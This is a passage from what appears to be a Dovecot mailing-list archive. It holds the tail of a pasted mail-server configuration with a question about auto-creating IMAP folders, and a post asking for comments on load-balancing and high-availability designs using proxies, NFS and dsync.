0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" } How to make the imap folders 'sent', 'trash' and others were not affiliated?

[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment?
